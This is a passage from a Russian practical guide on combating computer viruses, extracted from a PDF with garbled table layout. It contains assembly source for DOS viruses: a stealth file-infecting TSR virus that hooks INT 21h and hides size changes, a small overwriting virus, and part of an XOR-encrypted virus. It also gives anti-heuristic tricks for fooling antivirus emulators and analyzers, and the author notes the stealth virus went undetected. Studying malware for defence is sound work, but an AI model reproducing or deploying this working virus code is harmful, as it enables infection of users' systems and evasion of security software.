Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
81 |
|
|
|
;------------------ |
Новый обработчик 24 прерывания------------------ |
|
new24: |
|
|
mov al,3 |
|
; Наш обработчик 24 прерывания |
iret |
|
|
;---------------------------------------------- |
|
|
; |
|
Новый обработчик 21 прерывания |
;---------------------------------------------- |
|
|
new_int21h: |
|
|
cmp ah,99h |
|
; Ответ на проверку присутствия в памяти |
jne continue |
|
|
mov bh,99h |
|
|
iret |
|
|
continue: |
|
|
cmp ah,4bh |
|
; Если программа запущена, будем заражать |
jne check_dir |
|
|
jmp infect |
|
|
check_dir: |
|
|
cmp ah,11h |
|
; Если вызов "dir", то маскируемся |
je hide_dir |
|
|
cmp ah,12h |
|
|
je hide_dir |
|
|
cmp ah,4eh |
|
; Если вызов NC - 4eh, 4fh, прячемся по-другому |
je hide_dir2 |
|
|
cmp ah,4fh |
|
|
je hide_dir2 |
|
|
jmp do_oldint21h |
; Если какая-то другая функция DOS, то пусть работает |
|
|
|
; оригинальный обработчик |
;---------------------------------------------- |
|
|
; |
|
Функция неполного стелс-механизма |
;---------------------------------------------- |
|
|
hide_dir: |
|
; |
pushf |
|
; Положим в стек флаги |
push cs |
|
; è cs |
call do_oldint21h |
; Теперь вызовем оригинальное 21 прерывание |
|
or al,al |
|
; Вызов был удачным? |
jnz skip_dir |
|
; Нет, маскировка отменяется |
push ax bx es |
|
; Сохраняем используемые регистры |
mov ah,62h |
|
; Получим текущий PSP |
int 21h |
|
|
mov es,bx |
|
|
cmp bx,es:[16h] |
|
; PSP в порядке? |
jnz bad_psp |
|
; Если нет, то на выход |
mov bx,dx |
|
|
mov al,[bx] |
|
; |
push ax |
|
; расширенный FCB |
mov ah,2fh |
|
; получим DTA |
int 21h |
|
|
pop ax |
|
|
inc al |
|
; Это расширенный FCB? |
jnz no_ext |
|
|
82 |
|
DOS вирусы |
|
|
|
add |
bx,7 |
; Если да, то добавим 7 |
no_ext: |
|
|
mov |
al,byte ptr es:[bx+17h] |
; Взглянем на наши секунды |
and |
al,1fh |
|
xor |
al,1dh |
; Файл заражен? |
jnz |
no_stealth |
; Если нет, то размер не изменяем |
cmp |
word ptr es:[bx+1dh],vir_size |
; Если размер меньше, чем размер вируса, то он не |
ja hide_it |
; мог быть заражен, значит, не маскируем |
|
cmp |
word ptr es:[bx+1fh],0 |
; |
je no_stealth |
; |
|
hide_it: |
|
|
sub |
word ptr es:[bx+1dh],vir_size |
; Подменяем размер файла |
sbb |
word ptr es:[bx+1fh],0 |
|
no_stealth: |
|
|
bad_psp: |
|
|
pop es bx ax |
; Восстанавливаем регистры |
|
skip_dir: |
|
|
iret |
|
; возвращаем управление |
hide_dir2: |
|
|
pushf |
; Положим в стек флаги |
|
push cs |
; è cs |
|
call do_oldint21h |
; Теперь вызовем оригинальное 21 прерывание |
|
jc eofs |
; Если нет больше файлов, то на выход |
|
push ax es bx |
; Сохраним регистры |
|
mov ah,2fh |
; Получим DTA |
|
int |
21h |
|
mov |
ax,es:[bx+16h] |
|
and |
ax,1fh |
; PSP в порядке? |
xor |
al,29 |
|
jnz |
not_inf |
; Если нет - на выход |
cmp |
word ptr es:[bx+1ah],vir_size |
; Файлы меньше длины вируса - не трогаем |
ja sub_it |
|
|
cmp |
word ptr es:[bx+1ch],0 |
|
je not_inf |
|
|
sub_it: |
|
|
sub |
word ptr es:[bx+1ah],vir_size |
; Исправляем длину файла |
sbb |
word ptr es:[bx+1ch],0 |
|
not_inf: |
|
|
pop bx es ax |
; Восстанавливаем регистры |
|
eofs: |
|
|
retf 2 |
; Возвращаем управление |
|
;---------------------------------------------- |
||
; |
Определение имени файла для открытого хэндла |
|
;---------------------------------------------- |
||
check_name: |
|
|
push bx |
|
|
mov ax,1220h |
|
|
int |
2fh |
|
DOS вирусы |
83 |
|
|
|
|
mov ax,1216h |
; Получение SFT (system file table) |
|
mov bl,byte ptr es:[di] |
; Для хэндла в bx |
|
int |
2fh |
|
pop |
bx |
|
add |
di,20h |
; es:di+20h указывает на имя файла |
ret |
|
; Возврат |
;---------------------------------------------- |
||
; |
Процедура инфицирования |
|
;---------------------------------------------- |
||
infect: |
|
|
push es bp ax bx cx si di ds dx |
|
|
mov ax,3d02h |
; Откроем файл |
|
int |
21h |
|
xchg ax,bx |
|
|
push cs |
|
|
push cs |
|
|
pop |
ds |
|
pop |
es |
|
mov |
ax,5700h |
; Сохраним и проверим время/дату файла |
int |
21h |
; Признак инфицирования |
push dx |
|
|
push cx |
|
|
and |
cl,1fh |
|
xor |
cl,1dh |
|
jne |
read_it |
|
jmp |
skip_infect |
|
read_it: |
|
|
mov ah,3fh |
; Читаем первые 18h байт |
|
mov |
cx,18h |
|
mov |
dx,offset EXEheader |
; Â EXEheader |
int |
21h |
|
mov |
byte ptr COMflag,0 |
; Проверим *.exe или *.com и уст. флаг - COMflag |
cmp |
word ptr EXEheader,'ZM' |
|
je is_EXE |
|
|
cmp |
word ptr EXEheader,'MZ' |
|
je is_EXE |
|
|
mov byte ptr COMflag,1 |
|
|
is_EXE: |
|
|
mov ax,4202h |
; Идем в конец файла |
|
xor |
cx,cx |
|
cwd |
|
|
int |
21h |
|
push ax |
|
|
push es |
|
|
call check_name |
|
|
cmp |
COMflag,1 |
; Если это *.com, то переходим к его заражению |
je infect_COM
84 |
DOS вирусы |
|
|
infect_EXE: |
|
pop es |
|
mov di,offset EXEret |
; EXEret = IP/CS |
mov si,offset EXEheader+14h |
|
mov cx,2 |
|
rep movsw |
|
mov si,offset EXEheader+0eh |
; EXEstack = SS/SP |
mov cx,2 |
|
rep movsw |
|
pop ax |
; Восстановим ax |
mov cx,10h |
|
div cx |
|
sub ax,word ptr [EXEheader+8h] |
|
mov word ptr [EXEheader+14h],dx |
; Вычислим CS:IP |
mov word ptr [EXEheader+16h],ax |
|
add ax,100 |
|
mov word ptr [EXEheader+0eh],ax |
; SS:SP |
mov word ptr [EXEheader+10h],100h |
|
jmp short more_infection |
|
infect_COM: |
|
cmp word ptr es:[di],'OC' |
; Не заражаем command.com |
pop es |
|
pop ax |
|
jne no_command_com |
|
jmp skip_infect |
|
no_command_com: |
|
mov di,offset COMret |
; Отправим первые 3 байта в COMret |
mov si,offset EXEheader |
|
mov cx,3 |
|
rep movsb |
|
sub ax,3 |
; Отнимем 3 от длины файла (размер JMP) |
mov byte ptr [EXEheader],0e9h |
; И построим начальный JMP |
mov word ptr [EXEheader+1],ax |
|
more_infection: |
|
mov ah,40h |
; Пишем в файл |
mov cx,vir_size |
|
mov dx,offset start_of_virus |
|
int 21h |
|
push cs |
|
pop ds |
|
cmp byte ptr COMflag,0 |
; Если это *.com, то пропускаем следующую часть |
jne goto_start |
|
mov ax,4202h |
; Идем в конец файла |
xor cx,cx |
|
cwd |
|
int 21h |
|
DOS вирусы |
85 |
|
|
|
|
mov cx,512 |
; Пересчитываем новую длину файла в 512- |
|
div |
cx |
; байтных страницах |
inc |
ax |
|
mov |
word ptr [EXEheader+2],dx |
|
mov word ptr [EXEheader+4],ax |
|
|
goto_start: |
|
|
mov ax,4200h |
; идем в начало файла |
|
xor |
cx,cx |
|
cwd |
|
|
int |
21h |
|
cmp |
byte ptr [COMflag],1 |
; Если *.com, то пишем первые 3 байта |
je write_3 |
|
|
mov cx,18h |
; Иначе пишем весь *.exe заголовок |
|
jmp |
short write_18h |
|
write_3: |
|
|
mov |
cx,3 |
|
write_18h: |
|
|
mov dx,offset EXEheader |
|
|
mov |
ah,40h |
|
int |
21h |
|
skip_infect: |
; Отмечаем время и дату и метим файл как |
|
|
|
; инфицированный |
mov ax,5701h |
|
|
pop |
cx |
|
pop |
dx |
|
or cl,00011101b |
|
|
and |
cl,11111101b |
|
int |
21h |
|
mov |
ah,3eh |
|
int |
21h |
|
pop |
dx |
|
pop |
ds |
|
pop |
di si cx bx ax bp es |
|
do_oldint21h: |
; Возвращение управления оригинальному обработчику 21 |
|
|
db 0eah |
; прерывания |
OldInt21h dd 0 |
|
|
COMflag |
db 1 |
|
COMret |
db 0cdh,20h,00h |
|
vir_size |
equ 705 |
|
old24 |
dd 0 |
|
EXEheader db 18h dup(0) |
|
|
end_of_virus: |
|
|
cseg |
ends |
|
end start_of_virus ;----------------------------------------------
Данный вирус имеет размер 705 байт и на момент написания книги никакими антивирусами не обнаруживался.
86 |
DOS вирусы |
|
|
Стоить заметить, что при посадке в память мы использовали функции DOS, а не прямой метод. На этом мы и закончим обсуждение стелс-вирусов.
Необходимо заметить, что лечение остается таким же, как и в варианте с обыкновенным комбо-паразитом. Но оно будет неэффективным, если не загрузиться с чистой DOS-дискеты.
5.4. Антиэвристические приемы
Сейчас поговорим об антиэвристических механизмах. На что рассчитаны антиэвристические приемы? Они рассчитаны на обман антивирусных программ, таких как AVP, Sophos Antivirus и др. Чтобы узнать, как эти приемы работают, давайте разберемся с тем, как работают эвристические анализаторы в антивирусах. К примеру, если у вас в программе есть поиск (DOS-функция 4eh) по маске *.exe и в этой же программе есть функция записи (DOS-функция 40h), то с ка- кой-то долей уверенности можно сказать, что в файле гнездится вирус. Сейчас был описан механизм работы анализатора кода. Но анализатор кода сам не работает, он работает в паре с эмулятором кода. Что же такое эмулятор и для чего он нужен? Эмулятор кода необходим для обнаружения вирусов, шифрующих свой код. Он эмулирует работу процессора. Эмулятор пытается исполнить инструкции, взятые из исполнимого файла в специальной «виртуальной машине». В то время как он «псевдоисполняет» файл, анализатор ищет мнемоники кода, характерные для вирусов. Обычно антиэвристические приемы строятся либо на обмане эмулятора, либо на обмане анализатора. Начнем с эмулятора. Есть возможность обмана эмулятора на эмуляции процессора, когда процессор имеет какие-то ошибки, и в реальной жизни команды будут выполняться не так, как при эмуляции.
Рассмотрим пример:
;---------------------------------------------- |
|
xor ax,ax |
|
sahf |
|
lahf |
; ax=2 |
xchg al,ah |
|
add ax,5 |
|
call $+3 |
|
pop si |
|
add si,ax |
|
jmp si |
|
mov bl,56h |
|
;---------------------------------------------- |
|
На самом деле, не выполнится, а вот при эмуляции антивирусом выполнится, т. е. если bx — ключ расшифровщика, то антивирус никогда не сможет правильно расшифровать вирус. И анализатор не сможет даже пискнуть, так как он будет рыться в зашифрованном коде.
Второй способ обмана эмулятора — это обмануть его на эмуляции периферии. Мы продемонстрируем это на примере отказа эмулятора при эмуляции работы с портами.
DOS вирусы |
87 |
|
|
Рассмотрим пример:
;---------------------------------------------- |
|
in |
ax,42h |
mov |
si,ax |
in |
ax,42h |
cmp |
ax,si |
jnz |
exit |
mov |
bx,1234h ; антивирус эмулирует, а на самом деле это не работает |
exit: |
|
;---------------------------------------------- |
|
Теперь перейдем к способам обмана анализатора. Есть возможность обмана анализатора прерываниями процессора, которые переключают процессор в режим отладки. Это прерывания один и три.
Рассмотрим пример:
;---------------------------------------------- |
|
|
cseg segment |
|
|
assume cs:cseg,ds:cseg |
|
|
org 100h |
|
|
start: |
|
|
mov |
ah,09h |
; |
lea |
dx,msg |
; Итак, представимся |
int |
21h |
; |
mov |
ah,4eh |
; DOS функция - найти первый файл |
find: |
|
|
int |
1h |
;!!!!!!!!!!!!!!!!!!!!!! |
lea |
dx,file1 |
; маска файла для поиска |
int |
21h |
; найти первый файл |
infect: |
|
|
mov |
ax,3d01h |
; |
mov |
dx,09Eh |
; Откроем его |
int |
21h |
; |
xchg ax,bx |
; хэндл файла в bx |
|
int |
3h |
; !!!!!!!!!!!!!!!!!!!!! |
mov |
ah,40h |
; Будем записывать |
mov |
cl,89 |
; Сколько байт будем записывать [наша длина] |
mov |
dx,100h |
; С какой позиции? С начала, конечно |
int |
21h |
; Писать сейчас ! |
mov |
ah,3eh |
; Закроем файл |
int |
21h |
; |
mov |
ah,4Fh |
; Найдем новый |
int |
21h |
; |
jnc |
infect |
; и заразим |
int |
20h |
; Конец |
file1 db '*.exe',0 |
|
|
msg |
db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$' |
|
cseg ends |
|
|
end start |
|
|
;---------------------------------------------- |
|
|
88 |
DOS вирусы |
|
|
Данный простейший вирус очень элементарно обнаруживается без маскирующих приемов, отмеченных восклицательными знаками. Однако добавление этих приемов позволяет вирусу обойти практически все антивирусные программы.
Каждый антиэвристический прием — это дело вкуса, и каждый писатель вирусов пытается попробовать себя в этом деле. Сейчас я приведу еще парочку самых популярных.
Вот листинг:
;----------------------------------------------
mov cx,0ffffh
ah1:
jmp ah2
mov ax,4c00h int 21h
ah2:
loop ah1 ;----------------------------------------------
В этом примере организован довольно длинный цикл, который скачет вокруг команды завершения программы. Если вы этот прием применяете в *.com программе, то без страха можете заменять команды завершения программы на «ret» или на «int 20h».
И еще один листинг:
;---------------------------------------------- |
|
find: |
|
db 068h |
; это антиэвристический |
dw OFFSET @avp |
; прием |
ret |
; взятый мной из вирусного журнала |
pop ax |
; Infected Voice |
@avp: |
; |
;---------------------------------------------- |
|
Здесь смысл приема несколько в ином. Сначала первыми двумя инструкциями в стек кладется адрес возврата на метку @avp. После этого идет возврат командой «ret», и управление передается на метку @avp.
И простенький прием от меня:
;----------------------------------------------
jmp $+4 int 20h
;----------------------------------------------
Здесь все довольно тривиально — обычный переход, который перескакивает команду завершения программы.
Ну вот, и все! С антиэвристическими механизмами мы закончили.
Данные трюки затрудняют анализ вируса, но ничего не изменяют в принципе его лечения.
DOS вирусы |
89 |
|
|
5.5. Динамическое шифрование
Динамическое шифрование — это одна из наиболее мощных вирусных технологий. Она предназначена для борьбы с сигнатурными сканерами и для обмана пользователя, изучающего вирус. Вот, например, есть вирус, созданный с использованием всех описанных выше технологий. Стоит любопытному пользователю посмотреть в текстовом редакторе на вирус и как вы думаете, что он там увидит? Как минимум строку типа «...*.com....» или «...*.exe...». И вы думаете после этого он как ни в чем не бывало запустит инфицированную программу? Приведенные стороки — это лучший вариант, а что будет, когда он увидит сообщение, адресованное всем ламерам, в том числе и ему, что-то вроде «SuPa DuPa VIRUS by vasYok»?. После этого судьба вируса будет предрешена, погибнет он быстро...
Для того, чтобы ничего подобного с вирусами не случилось, их разработчи- ки используют метод, о котором следует рассказать.
Динамическое шифрование необходимо для маскировки текстовых строк в вирусе, а также для маскировки инструкций размножения. Шифрование производится при помощи простых математических операций, таких как: XOR, INC/DEC, ADD/SUB. Самая распространенная из них — это, конечно же, XOR, потому как для этой математической операции не нужна дублирующая, т. е. при первом вызове XOR шифрует, а при втором расшифрует. Для понимания методов работы данных операций обратитесь к какому-нибудь справочнику по дискретной математике.
Теперь рассмотрим схему работы простейшего шифрованного вируса типа overwriter:
Перейдем к подробному алгоритму функционирования данного вируса.
1.Вызов шифровщика/расшифровщика (при первом запуске расшифруется 0, что кода не изменяет). При втором и последующих запусках шифрует/расшифрует от метки virus_code и до конца вируса.
2.Затем берется случайное значение по таймеру, которое будет ключом для шифрования.
3.Ищется файл. При положительном результате поиска осуществляется переход на метку infect, где и происходит инфицирование.
4.Сначала перед инфицированием шифруется код. Затем уже зашифрованный он переписывается в заражаемый файл с нешифрованной процедурой инфицирования и шифровщиком/расшифровщиком.
5.Затем код расшифровывается, и идет переход на поиск нового файла. Если такового нет, то работа вируса завершается.
90 DOS вирусы
Рассмотрим листинг данного вируса:
;---------------------------------------------- |
|
|
|
|
code |
segment |
|
|
; сегмент кода |
assume |
cs:code,ds:code |
|
; |
|
|
org |
100h |
|
; |
main: |
|
|
|
; Начало вирусной программы |
|
call |
encrypt_decrypt |
; Расшифруем вирусный код |
|
|
jmp |
random_mutation |
; Перейдем на метку мутации |
|
encrypt_val |
db |
00h |
; Переменная [шифрующий/расшифрующий ключ] |
|
virus_size |
equ |
108 |
; переменная [длина вируса] |
|
infect_file: |
|
|
|
|
|
mov |
bx,handle |
; Возьмем хэндл файла |
|
|
push |
bx |
|
; Положим его в стек |
|
call |
encrypt_decrypt |
; Зашифруем большую часть вирусного кода |
|
|
pop |
bx |
|
; Восстановим хэндл |
|
mov |
cx,virus_size |
; Количество байт для записи |
|
|
mov |
dx,100h |
|
; Откуда начинать переписывать |
|
mov |
ah,40h |
|
; DOS-функция записи в файл |
|
int |
3h |
|
; Антиэвристика |
|
int |
21h |
|
; |
|
call |
encrypt_decrypt |
; Зашифруем код (таким, каким он был) |
|
|
ret |
|
|
; Вернемся туда, откуда наc вызвали |
;----------- Функция шифровки/разшифровки ----------------------- |
||||
encrypt_decrypt: |
|
|
|
|
|
lea |
bx,virus_code |
; С какого места шифруем вирус |
|
xor_loop: |
|
|
; Начало шифрования здесь |
|
|
mov |
ah,[bx] |
|
; Берем текущий байт |
|
xor |
ah,encrypt_val |
; Преобразуем его операцией XOR по ключу |
|
|
mov |
[bx],ah |
|
; И кладем шифрованный/расшифрованный байт на место |
|
inc |
bx |
|
; Переходим к следующему байту |
|
cmp |
bx,offset virus_code+virus_size; Мы достигли конца файла? |
||
|
jle |
xor_loop |
|
; Если нет, то шифруем дальше |
|
ret |
|
|
; Если да, то вернемся туда, откуда нас вызывали |
;---------------------------------------------- |
||||
virus_code: |
|
|
|
|
random_mutation: |
|
|
; |
|
|
mov |
ah,2ch |
|
; Возьмем по таймеру значение |
|
int |
21h |
|
|
|
mov |
encrypt_val,dl |
; Присвоим это случайное значение ключу |
|
find_com: |
|
|
|
|
|
xor |
cx,cx |
|
|
|
lea |
dx,fmask |
|
; Найдем файл по маске *.com |
|
mov |
ah,4eh |
|
; |
|
int |
21h |
|
|
|
jnc |
healthy |
|
|
continue_search: |
|
|
|
|
|
mov |
ah,4fh |
|
; Ищем следующий файл |
|
int |
21h |
|
; |
|
jc exit_virus |
|
; Если больше нет файлов, то идем на выход |
|
